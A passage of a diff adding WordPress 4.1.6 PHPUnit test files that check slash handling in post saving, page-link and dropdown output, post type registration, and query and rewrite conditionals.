+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_post() {
+		$id = $this->factory->post->create();
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['post_title'] = $this->slash_1;
+		$_POST['content'] = $this->slash_5;
+		$_POST['excerpt'] = $this->slash_7;
+		$_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+		$post_id = edit_post();
+		$post = get_post( $post_id );
+
+		$this->assertEquals( $this->slash_1, $post->post_title );
+		$this->assertEquals( $this->slash_5, $post->post_content );
+		$this->assertEquals( $this->slash_7, $post->post_excerpt );
+
+		$_POST = array();
+		$_POST['post_ID'] = $id;
+		$_POST['post_title'] = $this->slash_2;
+		$_POST['content'] = $this->slash_4;
+		$_POST['excerpt'] = $this->slash_6;
+		$_POST = add_magic_quotes( $_POST );
+
+		$post_id = edit_post();
+		$post = get_post( $post_id );
+
+		$this->assertEquals( $this->slash_2, $post->post_title );
+		$this->assertEquals( $this->slash_4, $post->post_content );
+		$this->assertEquals( $this->slash_6, $post->post_excerpt );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_post() {
+		$id = wp_insert_post(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_1,
+			'post_content' => $this->slash_3,
+			'post_excerpt' => $this->slash_5,
+			'post_type' => 'post',
+			'slashed' => false,
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+		$id = wp_insert_post(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_2,
+			'post_content' => $this->slash_4,
+			'post_excerpt' => $this->slash_6,
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_update_post() {
+		$id = $this->factory->post->create();
+
+		wp_update_post(array(
+			'ID' => $id,
+			'post_title' => $this->slash_1,
+			'post_content' => $this->slash_3,
+			'post_excerpt' => $this->slash_5,
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+		wp_update_post(array(
+			'ID' => $id,
+			'post_title' => $this->slash_2,
+			'post_content' => $this->slash_4,
+			'post_excerpt' => $this->slash_6,
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/template.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/template.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/template.php	(revision 33402)
@@ -0,0 +1,134 @@
+<?php
+
+class Tests_Post_Template extends WP_UnitTestCase {
+
+	function test_wp_link_pages() {
+		$contents = array( 'One', 'Two', 'Three' );
+		$content = join( '<!--nextpage-->', $contents );
+		$post_id = $this->factory->post->create( array( 'post_content' => $content ) );
+
+		$this->go_to( '?p=' . $post_id );
+
+		setup_postdata( get_post( $post_id ) );
+
+		$permalink = sprintf( '<a href="%s">', get_permalink() );
+		$page2 = _wp_link_page( 2 );
+		$page3 = _wp_link_page( 3 );
+
+		$expected = "<p>Pages: 1 {$page2}2</a> {$page3}3</a></p>";
+		$output = wp_link_pages( array( 'echo' => 0 ) );
+
+		$this->assertEquals( $expected, $output );
+
+		$before_after = " 1 {$page2}2</a> {$page3}3</a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '' ) );
+
+		$this->assertEquals( $before_after, $output );
+
+		$separator = " 1{$page2}2</a>{$page3}3</a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '', 'separator' => '' ) );
+
+		$this->assertEquals( $separator, $output );
+
+		$link = " <em>1</em>{$page2}<em>2</em></a>{$page3}<em>3</em></a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '', 'separator' => '',
+			'link_before' => '<em>', 'link_after' => '</em>'
+		) );
+
+		$this->assertEquals( $link, $output );
+
+		$next = "{$page2}<em>Next page</em></a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '', 'separator' => '',
+			'link_before' => '<em>', 'link_after' => '</em>', 'next_or_number' => 'next'
+		) );
+
+		$this->assertEquals( $next, $output );
+
+		$GLOBALS['page'] = 2;
+		$next_prev = "{$permalink}<em>Previous page</em></a>{$page3}<em>Next page</em></a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '', 'separator' => '',
+			'link_before' => '<em>', 'link_after' => '</em>', 'next_or_number' => 'next'
+		) );
+
+		$this->assertEquals( $next_prev, $output );
+
+		$next_prev_link = "{$permalink}Woo page</a>{$page3}Hoo page</a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'before' => '', 'after' => '', 'separator' => '',
+			'next_or_number' => 'next', 'nextpagelink' => 'Hoo page', 'previouspagelink' => 'Woo page'
+		) );
+
+		$this->assertEquals( $next_prev_link, $output );
+
+		$GLOBALS['page'] = 1;
+		$separator = "<p>Pages: 1 | {$page2}2</a> | {$page3}3</a></p>";
+		$output = wp_link_pages( array( 'echo' => 0, 'separator' => ' | ' ) );
+
+		$this->assertEquals( $separator, $output );
+
+		$pagelink = " Page 1 | {$page2}Page 2</a> | {$page3}Page 3</a>";
+		$output = wp_link_pages( array( 'echo' => 0, 'separator' => ' | ', 'before' => '', 'after' => '',
+			'pagelink' => 'Page %'
+		) );
+
+		$this->assertEquals( $pagelink, $output );
+	}
+
+	function test_wp_dropdown_pages() {
+		$none = wp_dropdown_pages( array( 'echo' => 0 ) );
+		$this->assertEmpty( $none );
+
+		$bump = '&nbsp;&nbsp;&nbsp;';
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$child_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id ) );
+		$grandchild_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_parent' => $child_id ) );
+
+		$lineage =<<<LINEAGE
+<select name='page_id' id='page_id'>
+	<option class="level-0" value="$page_id">Post title 1</option>
+	<option class="level-1" value="$child_id">{$bump}Post title 2</option>
+	<option class="level-2" value="$grandchild_id">{$bump}{$bump}Post title 3</option>
+</select>
+
+LINEAGE;
+
+		$output = wp_dropdown_pages( array( 'echo' => 0 ) );
+		$this->assertEquals( $lineage, $output );
+
+		$depth =<<<DEPTH
+<select name='page_id' id='page_id'>
+	<option class="level-0" value="$page_id">Post title 1</option>
+</select>
+
+DEPTH;
+
+		$output = wp_dropdown_pages( array( 'echo' => 0, 'depth' => 1 ) );
+		$this->assertEquals( $depth, $output );
+
+		$option_none =<<<NONE
+<select name='page_id' id='page_id'>
+	<option value="Woo">Hoo</option>
+	<option class="level-0" value="$page_id">Post title 1</option>
+</select>
+
+NONE;
+
+		$output = wp_dropdown_pages( array( 'echo' => 0, 'depth' => 1,
+			'show_option_none' => 'Hoo', 'option_none_value' => 'Woo'
+		) );
+		$this->assertEquals( $option_none, $output );
+
+		$option_no_change =<<<NO
+<select name='page_id' id='page_id'>
+	<option value="-1">Burrito</option>
+	<option value="Woo">Hoo</option>
+	<option class="level-0" value="$page_id">Post title 1</option>
+</select>
+
+NO;
+		$output = wp_dropdown_pages( array( 'echo' => 0, 'depth' => 1,
+			'show_option_none' => 'Hoo', 'option_none_value' => 'Woo',
+			'show_option_no_change' => 'Burrito'
+		) );
+		$this->assertEquals( $option_no_change, $output );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/post/types.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post/types.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post/types.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_Types extends WP_UnitTestCase {
+	function test_register_post_type() {
+		$this->assertNull( get_post_type_object( 'foo' ) );
+		register_post_type( 'foo' );
+
+		$pobj = get_post_type_object( 'foo' );
+		$this->assertInstanceOf( 'stdClass', $pobj );
+		$this->assertEquals( 'foo', $pobj->name );
+
+		// Test some defaults
+		$this->assertFalse( is_post_type_hierarchical( 'foo' ) );
+		$this->assertEquals( array(), get_object_taxonomies( 'foo' ) );
+
+		_unregister_post_type( 'foo' );
+	}
+
+	function test_register_taxonomy_for_object_type() {
+		global $wp_taxonomies;
+
+		register_post_type( 'bar' );
+		register_taxonomy_for_object_type( 'post_tag', 'bar' );
+		$this->assertEquals( array( 'post_tag' ), get_object_taxonomies( 'bar' ) );
+		register_taxonomy_for_object_type( 'category', 'bar' );
+		$this->assertEquals( array( 'category', 'post_tag' ), get_object_taxonomies( 'bar' ) );
+
+		$this->assertTrue( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+		$this->assertTrue( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+
+		// Clean up. Remove the 'bar' post type from these taxonomies.
+		$GLOBALS['wp_taxonomies']['post_tag']->object_type = array( 'post' );
+		$GLOBALS['wp_taxonomies']['category']->object_type = array( 'post' );
+
+		$this->assertFalse( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+		$this->assertFalse( is_object_in_taxonomy( 'bar', 'post_tag' ) );
+
+		_unregister_post_type( 'bar' );
+	}
+
+	function test_post_type_exists() {
+		$this->assertFalse( post_type_exists( 'notaposttype' ) );
+		$this->assertTrue( post_type_exists( 'post' ) );
+	}
+
+	function test_post_type_supports() {
+		$this->assertTrue( post_type_supports( 'post', 'post-formats' ) );
+		$this->assertFalse( post_type_supports( 'page', 'post-formats' ) );
+		$this->assertFalse( post_type_supports( 'notaposttype', 'post-formats' ) );
+		$this->assertFalse( post_type_supports( 'post', 'notafeature' ) );
+		$this->assertFalse( post_type_supports( 'notaposttype', 'notafeature' ) );
+	}
+
+	/**
+	 * @ticket 21586
+	 */
+	function test_post_type_with_no_support() {
+		register_post_type( 'foo', array( 'supports' => array() ) );
+		$this->assertTrue( post_type_supports( 'foo', 'editor' ) );
+		$this->assertTrue( post_type_supports( 'foo', 'title' ) );
+		_unregister_post_type( 'foo' );
+
+		register_post_type( 'foo', array( 'supports' => false ) );
+		$this->assertFalse( post_type_supports( 'foo', 'editor' ) );
+		$this->assertFalse( post_type_supports( 'foo', 'title' ) );
+		_unregister_post_type( 'foo' );
+	}
+
+	/**
+	 * @ticket 23302
+	 */
+	function test_post_type_with_no_feed() {
+		global $wp_rewrite;
+		$old_permastruct = get_option( 'permalink_structure' );
+		update_option( 'permalink_structure', '%postname%' );
+		register_post_type( 'foo', array( 'rewrite' => array( 'feeds' => false ) ) );
+		$this->assertFalse( $wp_rewrite->extra_permastructs['foo']['feed'] );
+		update_option( 'permalink_structure', $old_permastruct );
+		_unregister_post_type( 'foo' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query.php	(revision 33402)
@@ -0,0 +1,94 @@
+<?php
+
+class Tests_Query extends WP_UnitTestCase {
+
+	function setUp() {
+		global $wp_rewrite;
+		parent::setUp();
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		create_initial_taxonomies();
+
+		$wp_rewrite->flush_rules();
+	}
+
+	/**
+	 * @ticket 24785
+	 *
+	 */
+	function test_nested_loop_reset_postdata() {
+		$post_id = $this->factory->post->create();
+		$nested_post_id = $this->factory->post->create();
+
+		$first_query = new WP_Query( array( 'post__in' => array( $post_id ) ) );
+		while ( $first_query->have_posts() ) { $first_query->the_post();
+			$second_query = new WP_Query( array( 'post__in' => array( $nested_post_id ) ) );
+			while ( $second_query->have_posts() ) {
+				$second_query->the_post();
+				$this->assertEquals( get_the_ID(), $nested_post_id );
+			}
+			$first_query->reset_postdata();
+			$this->assertEquals( get_the_ID(), $post_id );
+		}
+	}
+
+	/**
+	 * @ticket 16471
+	 */
+	function test_default_query_var() {
+		$query = new WP_Query;
+		$this->assertEquals( '', $query->get( 'nonexistent' ) );
+		$this->assertFalse( $query->get( 'nonexistent', false ) );
+		$this->assertTrue( $query->get( 'nonexistent', true ) );
+	}
+
+	/**
+	 * @ticket 25380
+	 */
+	function test_pre_posts_per_page() {
+		$this->factory->post->create_many( 10 );
+
+		add_action( 'pre_get_posts', array( $this, 'filter_posts_per_page' ) );
+
+		$this->go_to( get_feed_link() );
+
+		$this->assertEquals( 30, get_query_var( 'posts_per_page' ) );
+	}
+
+	function filter_posts_per_page( &$query ) {
+		$query->set( 'posts_per_rss', 30 );
+	}
+
+	/**
+	 * @ticket 26627
+	 */
+	function test_tag_queried_object() {
+		$slug = 'tag-slug-26627';
+		$this->factory->tag->create( array( 'slug' => $slug ) );
+		$tag = get_term_by( 'slug', $slug, 'post_tag' );
+
+		add_action( 'pre_get_posts', array( $this, '_tag_queried_object' ), 11 );
+
+		$this->go_to( get_term_link( $tag ) );
+
+		$this->assertQueryTrue( 'is_tag', 'is_archive' );
+		$this->assertNotEmpty( get_query_var( 'tag_id' ) );
+		$this->assertNotEmpty( get_query_var( 'tag' ) );
+		$this->assertEmpty( get_query_var( 'tax_query' ) );
+		$this->assertCount( 1, get_query_var( 'tag_slug__in' ) );
+		$this->assertEquals( get_queried_object(), $tag );
+
+		remove_action( 'pre_get_posts', array( $this, '_tag_queried_object' ), 11 );
+	}
+
+	function _tag_queried_object( &$query ) {
+		$tag = get_term_by( 'slug', 'tag-slug-26627', 'post_tag' );
+		$this->assertTrue( $query->is_tag() );
+		$this->assertTrue( $query->is_archive() );
+		$this->assertNotEmpty( $query->get( 'tag' ) );
+		$this->assertCount( 1, $query->get( 'tag_slug__in' ) );
+		$this->assertEquals( $query->get_queried_object(), $tag );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/conditionals.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/conditionals.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/conditionals.php	(revision 33402)
@@ -0,0 +1,813 @@
+<?php
+
+/**
+ * Test the is_*() functions in query.php across the URL structure
+ *
+ * This exercises both query.php and rewrite.php: urls are fed through the rewrite code,
+ * then we test the effects of each url on the wp_query object.
+ *
+ * @group query
+ * @group rewrite
+ */
+class Tests_Query_Conditionals extends WP_UnitTestCase {
+
+	protected $page_ids;
+	protected $post_ids;
+
+	function setUp() {
+		parent::setUp();
+
+		set_current_screen( 'front' );
+
+		update_option( 'comments_per_page', 5 );
+		update_option( 'posts_per_page', 5 );
+
+		global $wp_rewrite;
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		create_initial_taxonomies();
+
+		$wp_rewrite->flush_rules();
+	}
+
+	function tearDown() {
+		global $wp_rewrite;
+		$wp_rewrite->init();
+
+		parent::tearDown();
+	}
+
+	function test_home() {
+		$this->go_to('/');
+		$this->assertQueryTrue('is_home');
+	}
+
+	function test_404() {
+		$this->go_to('/'.rand_str());
+		$this->assertQueryTrue('is_404');
+	}
+
+	function test_permalink() {
+		$post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertQueryTrue('is_single', 'is_singular');
+	}
+
+	function test_post_comments_feed() {
+		$post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+		$this->factory->comment->create_post_comments( $post_id, 2 );
+		$this->go_to( get_post_comments_feed_link( $post_id ) );
+		$this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+	}
+
+
+	function test_post_comments_feed_with_no_comments() {
+		$post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+		$this->go_to( get_post_comments_feed_link( $post_id ) );
+		$this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+	}
+
+	function test_page() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about' ) );
+		$this->go_to( get_permalink( $page_id ) );
+		$this->assertQueryTrue('is_page','is_singular');
+	}
+
+	function test_parent_page() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$this->go_to( get_permalink( $page_id ) );
+
+		$this->assertQueryTrue('is_page','is_singular');
+	}
+
+	function test_child_page_1() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$this->go_to( get_permalink( $page_id ) );
+
+		$this->assertQueryTrue('is_page','is_singular');
+	}
+
+	function test_child_page_2() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+		$this->go_to( get_permalink( $page_id ) );
+
+		$this->assertQueryTrue('is_page','is_singular');
+	}
+
+	// '(about)/trackback/?$' => 'index.php?pagename=$matches[1]&tb=1'
+	function test_page_trackback() {
+		$page_ids = array();
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+		foreach ( $page_ids as $page_id ) {
+			$url = get_permalink( $page_id );
+			$this->go_to("{$url}trackback/");
+
+			// make sure the correct wp_query flags are set
+			$this->assertQueryTrue('is_page','is_singular','is_trackback');
+
+			// make sure the correct page was fetched
+			global $wp_query;
+			$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+		}
+	}
+
+	//'(about)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?pagename=$matches[1]&feed=$matches[2]'
+	function test_page_feed() {
+		$page_ids = array();
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+		foreach ( $page_ids as $page_id ) {
+			$this->factory->comment->create_post_comments( $page_id, 2 );
+			$url = get_permalink( $page_id );
+			$this->go_to("{$url}feed/");
+
+			// make sure the correct wp_query flags are set
+			$this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+			// make sure the correct page was fetched
+			global $wp_query;
+			$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+		}
+	}
+
+	function test_page_feed_with_no_comments() {
+		$page_ids = array();
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+		foreach ( $page_ids as $page_id ) {
+			$url = get_permalink( $page_id );
+			$this->go_to("{$url}feed/");
+
+			// make sure the correct wp_query flags are set
+			$this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+			// make sure the correct page was fetched
+			global $wp_query;
+			$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+		}
+	}
+
+	// '(about)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?pagename=$matches[1]&feed=$matches[2]'
+	function test_page_feed_atom() {
+		$page_ids = array();
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $page_id ) );
+		$page_ids[] = $page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'child-page-2', 'post_parent' => $page_id ) );
+		foreach ( $page_ids as $page_id ) {
+			$this->factory->comment->create_post_comments( $page_id, 2 );
+
+			$url = get_permalink( $page_id );
+			$this->go_to("{$url}feed/atom/");
+
+			// make sure the correct wp_query flags are set
+			$this->assertQueryTrue('is_page', 'is_singular', 'is_feed', 'is_comment_feed');
+
+			// make sure the correct page was fetched
+			global $wp_query;
+			$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+		}
+	}
+
+	// '(about)/page/?([0-9]{1,})/?$' => 'index.php?pagename=$matches[1]&paged=$matches[2]'
+	function test_page_page_2() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+		$this->go_to("/about/page/2/");
+
+		// make sure the correct wp_query flags are set
+		$this->assertQueryTrue('is_page', 'is_singular', 'is_paged');
+
+		// make sure the correct page was fetched
+		global $wp_query;
+		$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+	}
+
+	// '(about)/page/?([0-9]{1,})/?$' => 'index.php?pagename=$matches[1]&paged=$matches[2]'
+	function test_page_page_2_no_slash() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+		$this->go_to("/about/page2/");
+
+		// make sure the correct wp_query flags are set
+		$this->assertQueryTrue('is_page', 'is_singular', 'is_paged');
+
+		// make sure the correct page was fetched
+		global $wp_query;
+		$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+	}
+
+	// FIXME: what is this for?
+	// '(about)(/[0-9]+)?/?$' => 'index.php?pagename=$matches[1]&page=$matches[2]'
+	function test_pagination_of_posts_page() {
+		$page_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about', 'post_content' => 'Page 1 <!--nextpage--> Page 2' ) );
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', $page_id );
+
+		$this->go_to('/about/2/');
+
+		$this->assertQueryTrue( 'is_home', 'is_posts_page' );
+
+		// make sure the correct page was fetched
+		global $wp_query;
+		$this->assertEquals( $page_id, $wp_query->get_queried_object()->ID );
+	}
+
+	// FIXME: no tests for these yet
+	// 'about/attachment/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+	// 'about/attachment/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+	// 'about/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+	// 'about/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+
+	// 'feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]',
+	// '(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]',
+	function test_main_feed_2() {
+		$this->factory->post->create(); // @test_404
+		$feeds = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+
+		// long version
+		foreach ($feeds as $feed) {
+			$this->go_to("/feed/{$feed}/");
+			$this->assertQueryTrue('is_feed');
+		}
+
+		// short version
+		foreach ($feeds as $feed) {
+			$this->go_to("/{$feed}/");
+			$this->assertQueryTrue('is_feed');
+		}
+
+	}
+
+	function test_main_feed() {
+		$this->factory->post->create(); // @test_404
+		$types = array('rss2', 'rss', 'atom');
+		foreach ($types as $type) {
+			$this->go_to(get_feed_link($type));
+			$this->assertQueryTrue('is_feed');
+		}
+	}
+
+	// 'page/?([0-9]{1,})/?$' => 'index.php?&paged=$matches[1]',
+	function test_paged() {
+		$this->factory->post->create_many( 15 );
+		for ( $i = 2; $i <= 3; $i++ ) {
+			$this->go_to("/page/{$i}/");
+			$this->assertQueryTrue('is_home', 'is_paged');
+		}
+	}
+
+	// 'comments/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]&withcomments=1',
+	// 'comments/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?&feed=$matches[1]&withcomments=1',
+	function test_main_comments_feed() {
+		$post_id = $this->factory->post->create( array( 'post_title' => 'hello-world' ) );
+		$this->factory->comment->create_post_comments( $post_id, 2 );
+
+		// check the url as generated by get_post_comments_feed_link()
+		$this->go_to( get_post_comments_feed_link( $post_id ) );
+		$this->assertQueryTrue('is_feed', 'is_single', 'is_singular', 'is_comment_feed');
+
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/comments/feed/{$type}");
+				$this->assertQueryTrue('is_feed', 'is_comment_feed');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/comments/{$type}");
+				$this->assertQueryTrue('is_feed', 'is_comment_feed');
+		}
+
+	}
+
+	// 'search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?s=$matches[1]&feed=$matches[2]',
+	// 'search/(.+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?s=$matches[1]&feed=$matches[2]',
+	function test_search_feed() {
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/search/test/feed/{$type}");
+				$this->assertQueryTrue('is_feed', 'is_search');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/search/test/{$type}");
+				$this->assertQueryTrue('is_feed', 'is_search');
+		}
+	}
+
+	// 'search/(.+)/page/?([0-9]{1,})/?$' => 'index.php?s=$matches[1]&paged=$matches[2]',
+	function test_search_paged() {
+		$this->factory->post->create_many( 10, array( 'post_title' => 'test' ) );
+		$this->go_to('/search/test/page/2/');
+		$this->assertQueryTrue('is_search', 'is_paged');
+	}
+
+	// 'search/(.+)/?$' => 'index.php?s=$matches[1]',
+	function test_search() {
+		$this->go_to('/search/test/');
+		$this->assertQueryTrue('is_search');
+	}
+
+	/**
+	 * @ticket 13961
+	 */
+	function test_search_encoded_chars() {
+		$this->go_to('/search/F%C3%BCnf%2Bbar/');
+		$this->assertEquals( get_query_var( 's' ), 'Fünf+bar' );
+	}
+
+	// 'category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?category_name=$matches[1]&feed=$matches[2]',
+	// 'category/(.+?)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?category_name=$matches[1]&feed=$matches[2]',
+	function test_category_feed() {
+		$this->factory->term->create( array( 'name' => 'cat-a', 'taxonomy' => 'category' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/category/cat-a/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_category');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/category/cat-a/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_category');
+		}
+	}
+
+	// 'category/(.+?)/page/?([0-9]{1,})/?$' => 'index.php?category_name=$matches[1]&paged=$matches[2]',
+	function test_category_paged() {
+		$this->factory->post->create_many( 10 );
+		$this->go_to('/category/uncategorized/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_category', 'is_paged');
+	}
+
+	// 'category/(.+?)/?$' => 'index.php?category_name=$matches[1]',
+	function test_category() {
+		$this->factory->term->create( array( 'name' => 'cat-a', 'taxonomy' => 'category' ) );
+		$this->go_to('/category/cat-a/');
+		$this->assertQueryTrue('is_archive', 'is_category');
+	}
+
+	// 'tag/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?tag=$matches[1]&feed=$matches[2]',
+	// 'tag/(.+?)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?tag=$matches[1]&feed=$matches[2]',
+	function test_tag_feed() {
+		$this->factory->term->create( array( 'name' => 'tag-a', 'taxonomy' => 'post_tag' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/tag/tag-a/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_tag');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/tag/tag-a/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_tag');
+		}
+	}
+
+	// 'tag/(.+?)/page/?([0-9]{1,})/?$' => 'index.php?tag=$matches[1]&paged=$matches[2]',
+	function test_tag_paged() {
+		$post_ids = $this->factory->post->create_many( 10 );
